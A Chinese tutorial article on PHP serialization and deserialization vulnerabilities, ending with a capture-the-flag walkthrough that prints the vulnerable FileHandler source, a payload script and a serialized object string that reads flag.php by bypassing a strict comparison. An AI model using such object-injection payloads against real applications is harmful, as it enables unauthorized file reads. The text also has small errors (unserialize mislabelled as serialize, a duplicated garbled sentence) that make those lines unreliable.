PHP的序列化和反序列化詳情
一、PHP 為什么要反序列化?
PHP程序執(zhí)行結(jié)束以后會將文件中的變量和內(nèi)容釋放掉, 如果一個程序想要的調(diào)用之前程序的變量,但是之前的程序已經(jīng)執(zhí)行完畢,所有的變量和內(nèi)容都被釋放,那該如何操作呢?這時候就可以通過序列化和反序列化保存程序中的對象,給其他程序使用。 php序列化可以將對象轉(zhuǎn)換成字符串,但只序列化屬性,不序列化方法。
二、PHP如何反序列化?
?PHP用序列化和反序列化函數(shù)達(dá)到序列化和反序列化的目的
- 序列化:serialize()
- 反序列化:serialize()
例子:
<?php
class TEST{
public $a="public";
private $b="private";
protected $c="protected";
static $d="static";
}
$aaa=new TEST();
echo serialize($aaa);
?>
輸出:O:4:"TEST":3{s:1:"a";s:6:"public";s:7:"TESTb";s:7:"private";s:4:"*c";s:9:"protected";}
解釋:
O:表示這是一個對象
4:對象的名稱TEST有4個字符
TEST:對象的名稱
3:對象屬性的個數(shù)(不包含static)
s:變量名數(shù)據(jù)類型為string
1:變量a的名字長度
a:變量名稱
s:變量值的數(shù)據(jù)類型
6:變量值的長度
public:變量的值
s:變量名的數(shù)據(jù)類型
7:變量名的長度(private屬性序列化會在變量名前加標(biāo)記%00classname%00,長度=類名長度+變量名長度+2)
TESTb:變量名稱(private屬性的變量名在序列化時會加上類名,即類名+變量名)
s:變量值的數(shù)據(jù)類型
7:變量值的長度
private:變量的值
s:變量名數(shù)據(jù)類型
4:變量名長度
*c:變量名稱(protected屬性的變量名會在序列化時會在變量名前加上一個" %00*%00",長度=變量名長度+3)
s:變量值的數(shù)據(jù)類型
9:變量值的長度
protected:變量的值
小知識:
- public(公有):公有的類成員可以在任何地方被訪問。
- protected(受保護(hù)):受保護(hù)的類成員則可以被其自身以及其子類和父類訪問。
- private(私有):私有的類成員則只能被其定義所在的類訪問。
類屬性必須定義為公有,受保護(hù),私有之一。如果用 var 定義,則被視為公有。
static:靜態(tài)屬性單獨存在類中(屬于類),不屬于對象。因此只要類聲明完畢,該屬性就存在。既訪問該靜態(tài)屬性不需要依賴于對象就可以訪問,static 在類中一直有,因此他被所有對象共享,一人影響,其他共享。
普通方法存放在類種,在內(nèi)存中只有1份。靜態(tài)方法也如此。 區(qū)別 :普通方法需要對象去調(diào)用,需綁 t h i s 。 靜 態(tài) 方 法 不 需 要 綁 定 this。 靜態(tài)方法不需要綁定 this。靜態(tài)方法不需要綁定this,則通過類名即可調(diào)用。
三、PHP反序列化漏洞
1、常用 的魔術(shù)方法
| 方法 | 作用 |
|---|---|
| __construct() | 創(chuàng)建對象時觸發(fā)(定義構(gòu)造方法) |
| __destruct() | 對象被銷毀時觸發(fā)(定義析構(gòu)方法) |
| __call() | 在對象上下文調(diào)用不可訪問的方法時觸發(fā) |
| __callStatic() | 在靜態(tài)上下文中調(diào)用不可訪問的方法時觸發(fā) |
| __get() | 用于從不可訪問的屬性讀取數(shù)據(jù) |
| __set() | 用于將數(shù)據(jù)寫入不可訪問的屬性 |
| __isset() | 在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā) |
| __unset() | 在不可訪問的屬性上使用unset()時觸發(fā) |
| __invoke() | 當(dāng)腳本嘗試將對象調(diào)用為函數(shù)時觸發(fā) |
| __sleep() | serialize() 函數(shù)會檢查類中是否存在一個魔術(shù)方法 __sleep(),如果存在,該方法會先被調(diào)用,然后才執(zhí)行序列化操作 |
| __wakeup() | unserialize() 會檢查是否存在一個 __wakeup() 方法。如果存在,則會先調(diào)用該方法。影響版本:PHP5 < 5.6.25 ,PHP7 < 7.0.10 |
2、漏洞產(chǎn)生條件
unserialize()函數(shù)的變量可控,php文件中存在可利用的類,類中有魔法函數(shù)
3、題目
題目源碼:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}源碼分析:
<?php
include("flag.php"); //包含文件flag.php
highlight_file(__FILE__); //高亮顯示當(dāng)前文件
class FileHandler { //定義了一個類
protected $op; //定義了三個受保護(hù)的屬性
protected $filename;
protected $content;
function __construct() { //定義構(gòu)造方法,序列化時會自動調(diào)用
$op = "1"; //定義方法中的屬性并賦值
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process(); //調(diào)用類中的方法
}
public function process() { //定義公有方法
if($this->op == "1") { //如果op=="1",調(diào)用write()
$this->write();
} else if($this->op == "2") { //如果op=="2",調(diào)用read()并輸出結(jié)果
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!"); //否則輸出"Bad Hacker!"
}
}
private function write() { //定義私有方法
if(isset($this->filename) && isset($this->content)) {
//判斷filename和content是否為空
if(strlen((string)$this->content) > 100) { //判斷content長度是否大于100
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
//將content寫入文件中,寫入成功返回true
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);//將文件讀入到字符串中
}
return $res;
}
private function output($s) { //輸出函數(shù)
echo "[Result]: <br>";
echo $s;
}
function __destruct() { //定義析構(gòu)方法,對象被銷毀時自動調(diào)用
if($this->op === "2") //比較op是否等于2,強比較
$this->op = "1"; //op="1"
$this->content = ""; //content置為空
$this->process();
}
}
function is_valid($s) { //定義方法
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
//判斷傳入的字符的ascii碼是否在指定范圍
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; //強制類型轉(zhuǎn)換為string
if(is_valid($str)) {
$obj = unserialize($str); //反序列化str
}
}解題思路:
要想得到flag,就要將文件的內(nèi)容讀入變量并輸出,要想輸出就要調(diào)用read()方法
要想調(diào)用read()方法,就要讓op == "2",但是當(dāng)我們構(gòu)建序列化傳參給str時會自動調(diào)用__destruct()方法,使我們傳入的op == "2"變成op == "1",但是在php中‘===’與‘==’不同,可以通過op=" 2"繞過強等于,要讀取正確的flag,我們需要讀取flag.php,也就是說filenmae的值要為flag.php,我們需要覆蓋掉原來的filename的值
構(gòu)造payload
<?php
class FileHandler {
public $op=' 2';
public $filename="flag.php";
public $content='';
}
$a=new FileHandler();
echo serialize($a);
?>
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}獲取flag
flag{66907d94-ac4c-4476-9400-ccbbbbbd0fbd}到此這篇關(guān)于PHP的序列化和反序列化詳情的文章就介紹到這了,更多相關(guān)PHP序列化內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
用PHP即時捕捉PHP中的錯誤并發(fā)送email通知的實現(xiàn)代碼
這段代碼,其用意就是當(dāng)我們寫的php程式出錯的時候把錯誤內(nèi)容捕捉出來然后發(fā)到我們的email內(nèi),方便我們排錯2013-01-01
php jquery 實現(xiàn)新聞標(biāo)簽分類與無刷新分頁
php + jquery ui插件 + jquery pager插件 實現(xiàn)新聞的 標(biāo)簽分類 + 無刷新分頁2009-12-12

